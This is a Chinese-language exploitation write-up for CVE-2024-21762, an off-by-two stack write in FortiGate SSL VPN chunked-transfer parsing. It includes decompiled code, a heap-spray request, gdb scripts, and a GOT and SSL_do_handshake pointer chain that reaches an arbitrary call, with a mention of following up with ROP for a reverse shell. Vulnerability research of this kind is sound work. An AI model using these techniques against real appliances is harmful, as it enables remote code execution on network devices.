CVE-2024-21762 FortiGate SSLVPN off-by-2

该漏洞的环境搭建与CVE-2022-42475一样,在之前的文章已经有详细描述了,此篇不再赘述。

分析

定位漏洞点

因为电脑硬盘比较有限,所以只搞了部分版本。这里依旧使用7.2.2的VMWare虚拟机进行复现。

首先对6.4.14和修复后的6.4.15进行bindiff比较,结合漏洞描述中提到的漏洞点和Transfer-Encoding相关,最终在6.4.15版本找到了对漏洞进行了修复的函数sub_125D3B0。对该函数的特征进行分析后,不难在7.2.2中定位到漏洞函数sub_1662BA0

当解析到请求头Transfer-Encoding: chunked,且当前为最后一个chunk分段(即chunk length经过hex_decode后为0)时,将会进入以下逻辑来读取chunk trailer。

if ( v24 == 3 )                   // encoding==chunked
{
	*(_QWORD *)(a1 + 728) = chunk_length_str_len + 1;
	v22[chunk_length_str_len] = '\r';
	v39 = *(_QWORD *)(a1 + 728);
	v40 = *(_QWORD *)(a1 + 744);
	*(_QWORD *)(a1 + 728) = v39 + 1;
	*(_BYTE *)(v40 + v39) = '\n';
	v41 = *(_QWORD *)(a1 + 728);
	*(_QWORD *)(a1 + 744) += v41;
	*(_DWORD *)(a1 + 736) -= v41;
}
else
{
    *(_QWORD *)(a1 + 728) = 0LL;
}
v35 = *(_QWORD *)(a1 + 240);
goto LABEL_50;

	......

这里并未对*(_QWORD *)(a1 + 728)的大小提前校验,因此这个赋值操作是存在潜在危险的。

不过此处的越界范围还是受到了ap_getline函数提供的缓冲区大小的限制,在笔者的设备中,这里缓冲区的大小是0x1ffc,经过动调,该长度对于实际利用其实是不够的

但不用灰心,在这之后还有一段代码要走

LABEL_50:
          if ( v35 == -1 )
          {
            v26 = *(unsigned int *)(a1 + 736);
            *(_QWORD *)(a1 + 712) = *(_QWORD *)(a1 + 728);
            while ( (int)v26 > 1 )
            {
              *(_DWORD *)(a1 + 704) = 4;
LABEL_21:
              if ( (int)ap_getline_0(*(_QWORD *)(a1 + 744), v26, *(_QWORD *)(*(_QWORD *)(a1 + 8) + 40LL), 1LL) <= 0 )
              {
                if ( (unsigned int)sub_16594C0(*(_QWORD *)(*(_QWORD *)(a1 + 8) + 40LL)) - 1 <= 4 )
                  return -1LL;
                break;
              }
              v27 = *(_DWORD *)(a1 + 736);
              line_off = *(_QWORD *)(a1 + 712);
              v29 = v27 - 1;
              if ( line_off != v29 )
              {
                v30 = *(_QWORD *)(a1 + 744);
                *(_QWORD *)(a1 + 712) = line_off + 1;
                *(_BYTE *)(v30 + line_off) = '\r';
                v31 = *(_QWORD *)(a1 + 712);
                v32 = *(_QWORD *)(a1 + 744);
                *(_QWORD *)(a1 + 712) = v31 + 1;
                *(_BYTE *)(v32 + v31) = '\n';
                v29 = *(_QWORD *)(a1 + 712);
                v27 = *(_DWORD *)(a1 + 736);
              }
              v26 = (unsigned int)(v27 - v29);
              *(_QWORD *)(a1 + 728) += v29;
              *(_QWORD *)(a1 + 744) += v29;
              *(_DWORD *)(a1 + 736) = v26;
            }
              
	......

这里还会再次进行一次类似的赋值操作,而且在前一次的末尾有*(_QWORD *)(a1 + 744) += v41;这样的一句更新了缓冲区的指针,相当于双倍了我们越界的范围。

因此可以得到一个简单的结论:当我们传入的chunk length为一大串0,且0的长度超过了缓冲区的一半时,就能得到一个越界写入固定2bytes:\x0d\x0a

利用思路

对于栈上缓冲区溢出的利用思路无非以下几种:

  • 劫持返回地址
  • 劫持rbp进行栈迁移
  • 劫持栈上各种变量
  • 劫持栈上的结构体指针

由于栈溢出写入的是固定的两个字节,劫持返回地址的话不太好直接利用。

在这种情况下劫持rbp来栈迁是一种比较好的做法,但不幸的是,该函数以及这条调用链上的大部分函数的eplogue部分都被优化成了以add rsp, xx;这样的形式来恢复栈环境,所以该路线也没法走通。

继续观察调用链,

sub_1780B00
	sub_177F4F0
		sub_176BC40
			sub_1662BA0

sub_177F4F0返回到sub_1780B00+11B后,有以下语句

.text:0000000001780C30 31 D2                         xor     edx, edx
.text:0000000001780C32 44 89 F6                      mov     esi, r14d
.text:0000000001780C35 4C 89 EF                      mov     rdi, r13
.text:0000000001780C38 E8 B3 E8 FF FF                call    sub_177F4F0

可以看到这里重新call了一遍sub_177F4F0,并且传入的rdi是从r13来恢复的。该参数对应了一个大结构体。

sub_177F4F0在返回时从栈上恢复了r13,且通过动调可以发现r13的初始值位于堆上。

.text:000000000177F599 48 83 C4 18                   add     rsp, 18h
.text:000000000177F59D 5B                            pop     rbx
.text:000000000177F59E 41 5C                         pop     r12
.text:000000000177F5A0 41 5D                         pop     r13
.text:000000000177F5A2 41 5E                         pop     r14
.text:000000000177F5A4 41 5F                         pop     r15
.text:000000000177F5A6 5D                            pop     rbp
.text:000000000177F5A7 C3                            retn

所以我们可以通过栈溢出来劫持r13到我们在堆上伪造的结构体中。

比较有意思的是,通过分析sub_1780B00sub_177F4F0可以发现,这些函数中存在大量关于该结构体成员的函数指针调用。(实际上这个结构体应该是apache2的request_rec,源码参照这里

比如说sub_1780B00中的这一段,控制a1 + 664指向一个某可控地址上的指针v8,控制(*(_QWORD *)(v8 + 112) + 0xC0)为想要执行的目标地址,就能达到任意地址执行。

	v8 = *(_QWORD *)(a1 + 664);
    if ( v8 )
    {
      v9 = *(_QWORD *)(v8 + 112);
      if ( v9 )
      {
        result = v8 + 96;
        if ( v9 != v8 + 96 )
        {
          v10 = *(__int64 (__fastcall **)(__int64))(v9 + 0xC0);
          if ( v10 )
            return v10(a1);  // almost arbitrary call
          return sub_177EEB0(a1);
        }
      }
    }

利用

获取request_rec结构体的大小

在后文会提到此漏洞是需要堆喷来调整堆上结构的,所以首先要知道该结构体的大小。

经过观察,可被我们劫持的r13保存的结构体在不同请求中的分配几乎都在同一个位置,因此可以直接下watch断点来找到它被分配的代码位置。

断下来之后查看调用栈,发现是je_calloc开的空间

pwndbg> bt
#0  0x00007fa59028c7f0 in __memset_avx2_unaligned_erms () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#1  0x00007fa5903b4665 in je_calloc () from target:/usr/lib/x86_64-linux-gnu/libjemalloc.so.2
#2  0x0000000001776d12 in ?? ()
#3  0x000000000178e27b in ?? ()
#4  0x000000000178029d in ?? ()
#5  0x00000000017813c7 in ?? ()
#6  0x00000000017824bc in ?? ()
#7  0x0000000001783842 in ?? ()
#8  0x0000000000448def in ?? ()
#9  0x0000000000451eca in ?? ()
#10 0x000000000044ea2c in ?? ()
#11 0x0000000000451138 in ?? ()
#12 0x0000000000451a61 in ?? ()
#13 0x00007fa590155deb in __libc_start_main () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#14 0x0000000000443c8a in ?? ()

断在调用je_calloc之前查看参数

► 0x1776d0d    call   je_calloc@plt                      <je_calloc@plt>
        rdi: 0x1
        rsi: 0x608
        rdx: 0x311a418 ◂— 'allocSSLConn'
        rcx: 0xcc

得到该版本下此结构体的大小是0x608。

堆喷

正如前文提到的,我们想利用该漏洞的栈溢出来劫持栈上的结构体指针,需要满足一些条件:

  1. 目标结构体距离我们可控堆块的地址需要非常近
  2. 目标结构体的地址位于可控堆块地址的高地址

所以我们还需要找到合适的堆喷原语来进行喷射,以此来满足漏洞的深入利用条件。

在gdb脚本里加一下hook语句,看看与目标结构体相近大小堆块的申请情况

define hook
set $malloc_size=0
set $calloc_size=0

b *je_malloc if (($rdi >= 0x600) && ($rdi <= 0x700))
  commands
    silent
    set $malloc_size=$rdi
    c
  end

b *(je_malloc+205)
  commands
    silent
    if (($malloc_size >= 0x600) && ($malloc_size <= 0x700))
      printf "[+] je_malloc: %p : %p , size: %d\n", $rax, ($rax+$malloc_size), $malloc_size
      set $malloc_size=0
    end
    c
  end

b *je_calloc if (($rsi >= 0x600) && ($rsi <= 0x700))
  commands
    silent
    set $calloc_size=$rsi
    c
  end

b *(je_calloc+340)
  commands
    silent
    if (($calloc_size >= 0x600) && ($calloc_size <= 0x700))
      printf "[+] je_calloc: %p : %p , size: %d\n", $rax, ($rax+$calloc_size), $calloc_size
      set $calloc_size=0 
    end
    c
  end
end

令人欣慰的是该大小的堆块在请求过程中并不常见。

(gdb) hook
Breakpoint 1 at 0x7fa5903b3a90
Breakpoint 2 at 0x7fa5903b3b5d
Breakpoint 3 at 0x7fa5903b4550
Breakpoint 4 at 0x7fa5903b46a4
(gdb) c
Continuing.
[+] je_calloc: 0x7fa58aee4f00 : 0x7fa58aee5508 , size: 1544

fortigate在处理请求的过程中会为每一个成功解析的参数分配堆空间

因此可以尝试构造这样的数据包来试着分配与目标结构体一样大小的堆块

body = (b"A"*1544 + b"=&")*5

data  = b"POST /remote/login HTTP/1.1\r\n"
data += b"Host: 192.168.128.135\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

果然多出来了很多size为1576的堆块申请,在jemalloc中,他们最终申请到的堆块都会是0x700这个大小。

(另:由于后续payload中肯定有很多不可见字符和'\x00',数据还是放在参数解析的右值部分比较好(放在左边当做传参的关键字时不能正确解析转义),这样可以使用类似于%00,%ff这样的方式来写入不可见字符,以该方式写入不可见字符过后如需布置偏移,需要手动补齐转义后留下的hole,例如写入8个%00,占了24个字节,但解析后只占8个字节,需要补16个字节的padding)

这些堆块相当一部分都是连续的,有一部分还位于目标结构体不远处

[+] je_calloc: 0x7fa58aee4f00 : 0x7fa58aee5508 , size: 1544
[+] je_malloc: 0x7fa58aee5d00 : 0x7fa58aee6328 , size: 1576
[+] je_malloc: 0x7fa58aee6b00 : 0x7fa58aee7128 , size: 1576
[+] je_malloc: 0x7fa58a398c00 : 0x7fa58a399228 , size: 1576
[+] je_malloc: 0x7fa58aee7900 : 0x7fa58aee7f28 , size: 1576
[+] je_malloc: 0x7fa58a401700 : 0x7fa58a401d28 , size: 1576
[+] je_malloc: 0x7fa58a39a800 : 0x7fa58a39ae28 , size: 1576
[+] je_malloc: 0x7fa58a402500 : 0x7fa58a402b28 , size: 1576
[+] je_malloc: 0x7fa58a403300 : 0x7fa58a403928 , size: 1576
[+] je_malloc: 0x7fa58a39c400 : 0x7fa58a39ca28 , size: 1576
[+] je_malloc: 0x7fa58a404100 : 0x7fa58a404728 , size: 1576
[+] je_malloc: 0x7fa58a404f00 : 0x7fa58a405528 , size: 1576
[+] je_malloc: 0x7fa58a408000 : 0x7fa58a408628 , size: 1576
[+] je_malloc: 0x7fa58a405d00 : 0x7fa58a406328 , size: 1576
[+] je_malloc: 0x7fa58a406b00 : 0x7fa58a407128 , size: 1576
[+] je_malloc: 0x7fa58a409c00 : 0x7fa58a40a228 , size: 1576
[+] je_malloc: 0x7fa58a407900 : 0x7fa58a407f28 , size: 1576
[+] je_malloc: 0x7fa58a40f700 : 0x7fa58a40fd28 , size: 1576
[+] je_malloc: 0x7fa58a40b800 : 0x7fa58a40be28 , size: 1576
[+] je_malloc: 0x7fa58a410500 : 0x7fa58a410b28 , size: 1576
[+] je_malloc: 0x7fa58a411300 : 0x7fa58a411928 , size: 1576
[+] je_malloc: 0x7fa58a40d400 : 0x7fa58a40da28 , size: 1576
[+] je_malloc: 0x7fa58a412100 : 0x7fa58a412728 , size: 1576
[+] je_malloc: 0x7fa58af62c00 : 0x7fa58af63228 , size: 1576
[+] je_calloc: 0x7fa58aee4f00 : 0x7fa58aee5508 , size: 1544

为了尽可能提高成功率,我们同样得使用在申请过程中少见的大小来喷射,保证新申请的堆块是连续的。不过想要保证末尾为0x0a0d的地址稳定可控就比较麻烦了,因为0x700不是很好对齐0x1000,所以这里无奈交给了爆破(新版本这个结构体是0x800,就非常舒服了)。

经过调整,最终能构造出以下符合条件的布局

pwndbg> tel 0x7fff445ec9c0+0x2058 1
00:0000│  0x7fff445eea18 —▸ 0x7fa58a412100 —▸ 0x7fa58a386c18 —▸ 0x7fa58a386c00 —▸ 0x7fa58a387000 ◂— ...

......

pwndbg> tel 0x7fff445ec9c0+0x2058 1
00:0000│  0x7fff445eea18 —▸ 0x7fa58a410a0d ◂— 0x6262626262626262 ('bbbbbbbb')
pwndbg> x/40gx 0x7fa58a410a0d
0x7fa58a410a0d:	0x6262626262626262	0x6262626262626262
0x7fa58a410a1d:	0x6262626262626262	0x6262626262626262
0x7fa58a410a2d:	0x6262626262626262	0x6262626262626262
0x7fa58a410a3d:	0x6262626262626262	0x6262626262626262
0x7fa58a410a4d:	0x6262626262626262	0x6262626262626262
0x7fa58a410a5d:	0x6262626262626262	0x6262626262626262
0x7fa58a410a6d:	0x6262626262626262	0x6262626262626262
0x7fa58a410a7d:	0x6262626262626262	0x6262626262626262
0x7fa58a410a8d:	0x6262626262626262	0x6262626262626262
0x7fa58a410a9d:	0x6262626262626262	0x6262626262626262
0x7fa58a410aad:	0x6262626262626262	0x6262626262626262
0x7fa58a410abd:	0x6262626262626262	0x6262626262626262
0x7fa58a410acd:	0x6262626262626262	0x6262626262626262
0x7fa58a410add:	0x6262626262626262	0x6262626262626262
0x7fa58a410aed:	0x6262626262626262	0x6262626262626262
0x7fa58a410afd:	0x6262626262626262	0x6262626262626262
0x7fa58a410b0d:	0x6262626262626262	0x6262626262626262
0x7fa58a410b1d:	0x0000000000626262	0x0000000000000000
0x7fa58a410b2d:	0x0000000000000000	0x0000000000000000
0x7fa58a410b3d:	0x0000000000000000	0x0000000000000000

由于结构体大小不能很好的对0x1000对齐,因此堆喷的综合成功率并不高。

劫持程序流

	do
	{
        v6 = a1 + 32 * (v4 + 6LL);
        if ( (*(_BYTE *)(v6 + 16) & 2) != 0 )
        {
            // ......
        }
        v7 = a1 + 32 * (v4 + 6LL);
        if ( (*(_BYTE *)(v7 + 16) & 4) != 0 )
        {
            // ......
        }
        ++v4;
        }
    while ( v4 != 5 );

我们结构体选择的padding都为0x41,所以不会满足这两个if。

走出循环后就能到达以下部分

	v8 = *(_QWORD *)(a1 + 0x298);
    if ( v8 )
    {
      v9 = *(_QWORD *)(v8 + 0x70);
      if ( v9 )
      {
        result = v8 + 96;
        if ( v9 != v8 + 96 )
        {
          v10 = *(__int64 (__fastcall **)(__int64))(v9 + 0xC0);
          if ( v10 )
            return v10(a1);
          return sub_177EEB0(a1);
        }
      }
    }

因为我们此时没有leak到堆上空间的基址,所以构造多级指针的时候只能利用没有偏移的地址

将函数指针展开,得到以下表达式

*(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298) + 0x70) + 0xC0)

在rel节中存在指向got表的地址,可以用来布置多级指针

LOAD:0000000000432258 10 76 FA 03 00 00 00 00 07 00+Elf64_Rela <3FA7610h, 49F00000007h, 0>  ; R_X86_64_JUMP_SLOT system
LOAD:0000000000432270 18 76 FA 03 00 00 00 00 07 00+Elf64_Rela <3FA7618h, 4A000000007h, 0>  ; R_X86_64_JUMP_SLOT json_object_iter_begin
LOAD:0000000000432288 20 76 FA 03 00 00 00 00 07 00+Elf64_Rela <3FA7620h, 4A100000007h, 0>  ; R_X86_64_JUMP_SLOT libusb_claim_interface
LOAD:00000000004322A0 28 76 FA 03 00 00 00 00 07 00+Elf64_Rela <3FA7628h, 4A200000007h, 0>  ; R_X86_64_JUMP_SLOT EVP_PKEY_print_private

以调用system为例,控制a1 + 0x2980x431fa8即可

pwndbg> x/gx *(long*)(*(long*)(0x431fa8+0x70)+0xc0)
0x43ec26 <system@plt+6>:	0xb3f0e9000004bf68

成功劫持程序流

pwndbg> 
0x000000000043ec26 in system@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────
 RAX  0x43ec26 (system@plt+6) ◂— push   0x4bf
 RBX  0xbccf700 ◂— 0x101dbf769
 RCX  0x4
 RDX  0x3fa7550 (hs_scan@got.plt) —▸ 0x43eaa6 (hs_scan@plt+6) ◂— push   0x4a7
 RDI  0x7fa58a410a0d ◂— 'echo a>1'
 RSI  0x431fa8 ◂— 0x48400000007
 R8   0x0
 R9   0x7fff445ee830 —▸ 0x7fa58af61cc0 —▸ 0x2e65935 ◂— 'error-handler'
 R10  0x7fff445ee6e5 ◂— 0x1e11520300383936 /* '698' */
 R11  0x0
 R12  0xbccf700 ◂— 0x101dbf769
 R13  0x0
 R14  0x0
 R15  0x101dbf02e
 RBP  0x7fff445eea90 —▸ 0x7fff445f0bd0 —▸ 0x7fff445f0d40 —▸ 0x7fff445f0ea0 —▸ 0x7fff445f0ef0 ◂— ...
 RSP  0x7fff445eea68 —▸ 0x1780cfe ◂— mov    rax, qword ptr [rbx + 0x18]
*RIP  0x43ec26 (system@plt+6) ◂— push   0x4bf
────────────────────────────────────────────────────────────────────────────────────
   0x1780bf4                         pop    r12
   0x1780bf6                         pop    r13
   0x1780bf8                         pop    r14
   0x1780bfa                         pop    rbp
   0x1780bfb                         jmp    rax
    ↓
 ► 0x43ec26       <system@plt+6>     push   0x4bf
   0x43ec2b       <system@plt+11>    jmp    0x43a020                      <0x43a020>
    ↓
   0x43a020                          push   qword ptr [rip + 0x3b6afe2]
   0x43a026                          jmp    qword ptr [rip + 0x3b6afe4]   <0x7fa59124e380>
    ↓
   0x7fa59124e380                    push   rbx
   0x7fa59124e381                    mov    rbx, rsp

但由于FortiOS中的sh几乎没什么用,所以调用system其实也没什么用。调用execve之类的函数的话,需要控制的参数又不是很够了。

好在还有这样一个常用于fortigate利用的函数

int SSL_do_handshake(SSL *s)
{
    int ret = 1;

    if (s->handshake_func == NULL) {
        SSLerr(SSL_F_SSL_DO_HANDSHAKE, SSL_R_CONNECTION_TYPE_NOT_SET);
        return -1;
    }

    ossl_statem_check_finish_init(s, -1);

    s->method->ssl_renegotiate_check(s, 0);

    if (SSL_in_init(s) || SSL_in_before(s)) {
        if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
            struct ssl_async_args args;

            memset(&args, 0, sizeof(args));
            args.s = s;

            ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
        } else {
            ret = s->handshake_func(s);  // here
        }
    }
    return ret;
}

最终可以走到s->handshake_func(s)这一行,s是我们可控的,因此可以真正意义上的call arbitrary address。

在这之后可以rop去调用execve执行newcli创建特权用户或者/bin/node执行nodejs的反弹shell语句。

SSL_do_handshake函数的流程不算长,但要到达任意地址调用之前还是有几处地方需要注意。

首先会调用 s->method->ssl_renegotiate_check(s, 0);

0x00007fa58fa22940 <+32>:	mov    rbp,rdi
0x00007fa58fa22943 <+35>:	mov    esi,0xffffffff
0x00007fa58fa22948 <+40>:	call   0x7fa58fa528e0
0x00007fa58fa2294d <+45>:	mov    rax,QWORD PTR [rbp+0x8]
0x00007fa58fa22951 <+49>:	xor    esi,esi
0x00007fa58fa22953 <+51>:	mov    rdi,rbp
0x00007fa58fa22956 <+54>:	call   QWORD PTR [rax+0x60]

这里同样需要构造一个二级指针调用,我们依旧可以参照之前构造出任意got表调用的手法来做,控制结构体+0x8处为指向想调用的函数got表-0x60处的指针即可。这里随便选择一个不是很复杂的能正常运行的函数。

if (SSL_in_init(s) || SSL_in_before(s))这个判断需要过一下,这两个函数的汇编分别如下

0x00007fa58fa51960 <+0>:	mov    eax,DWORD PTR [rdi+0x64]
0x00007fa58fa51963 <+3>:	ret
0x00007fa58fa51990 <+0>:	mov    ecx,DWORD PTR [rdi+0x5c]
0x00007fa58fa51993 <+3>:	xor    eax,eax
0x00007fa58fa51995 <+5>:	test   ecx,ecx
0x00007fa58fa51997 <+7>:	jne    0x7fa58fa519a3 <SSL_in_before+19>
0x00007fa58fa51999 <+9>:	mov    edx,DWORD PTR [rdi+0x48]
0x00007fa58fa5199c <+12>:	xor    eax,eax
0x00007fa58fa5199e <+14>:	test   edx,edx
0x00007fa58fa519a0 <+16>:	sete   al
0x00007fa58fa519a3 <+19>:	ret

只需要满足其一返回值不为0就行,选用逻辑较为简单的SSL_in_init,保证结构体+0x64处不为0即可。

最后一个判断,if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL),我们不能进到这个分支。后半部分的ASYNC_get_current_job() == NULL是不太好控制的,而前半部分汇编如下

0x00007fa58fa22965 <+69>:	test   BYTE PTR [rbp+0x9f1],0x1
0x00007fa58fa2296c <+76>:	jne    0x7fa58fa229c0 <SSL_do_handshake+160>

0x9f1这个偏移超过了我们单个可控单元的大小,所以不太好直接构造。

想要不跳转,对应位置就不能是奇数,我们作为padding的0x41在这里就不行了,但我们可以换成0x48,同时也不影响前置步骤中的判断结果。

过了以上检查之后,我们最终就能到达任意地址调用

0x00007fa58fa22982 <+98>:	mov    rax,QWORD PTR [rbp+0x30]
0x00007fa58fa22986 <+102>:	add    rsp,0x30
0x00007fa58fa2298a <+106>:	mov    rdi,rbp
0x00007fa58fa2298d <+109>:	pop    rbp
0x00007fa58fa2298e <+110>:	jmp    rax

构造结构体+0x30的位置为rop的开头(栈迁gadget)就行。

以下为把rip劫持到0xdeadbeef的log

pwndbg> 
0x00007fa58fa2298e in SSL_do_handshake () from target:/usr/lib/x86_64-linux-gnu/libssl.so.3
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────
 RAX  0xdeadbeef
 RBX  0xbccf700 ◂— 0x10238a8aa
 RCX  0x7fa5901fa6e7 (getuid+7) ◂— ret    
 RDX  0x3fa5390 (apr_time_exp_gmt_get@got.plt) —▸ 0x43a726 (apr_time_exp_gmt_get@plt+6) ◂— push   0x6f /* 'ho' */
 RDI  0x7fa58a410a0d ◂— 0x8888888888888888
 RSI  0x0
 R8   0x0
 R9   0x7fff445ee830 ◂— 0x8090a0b0c0d0e0f
 R10  0xfffffffffffffc48
 R11  0x206
 R12  0xbccf700 ◂— 0x10238a8aa
 R13  0x0
 R14  0x0
 R15  0x102389820
*RBP  0x7fff445eea90 —▸ 0x7fff445f0bd0 —▸ 0x7fff445f0d40 —▸ 0x7fff445f0ea0 —▸ 0x7fff445f0ef0 ◂— ...
*RSP  0x7fff445eea68 —▸ 0x1780cfe ◂— mov    rax, qword ptr [rbx + 0x18]
*RIP  0x7fa58fa2298e (SSL_do_handshake+110) ◂— jmp    rax
───────────────────────────────────────────────────────────────────────────────────
   0x7fa58fa2297c <SSL_do_handshake+92>     jne    SSL_do_handshake+249                <SSL_do_handshake+249>
 
   0x7fa58fa22982 <SSL_do_handshake+98>     mov    rax, qword ptr [rbp + 0x30]
   0x7fa58fa22986 <SSL_do_handshake+102>    add    rsp, 0x30
   0x7fa58fa2298a <SSL_do_handshake+106>    mov    rdi, rbp
   0x7fa58fa2298d <SSL_do_handshake+109>    pop    rbp
 ► 0x7fa58fa2298e <SSL_do_handshake+110>    jmp    rax                           <0xdeadbeef>

漏洞所在的init文件非常大,gadgets比较齐全。

至此,后续利用已经没有难度了。

参考

https://speakerdeck.com/argp/exploiting-the-jemalloc-memory-allocator-owning-firefoxs-heap

https://www.assetnote.io/resources/research/two-bytes-is-plenty-fortigate-rce-with-cve-2024-21762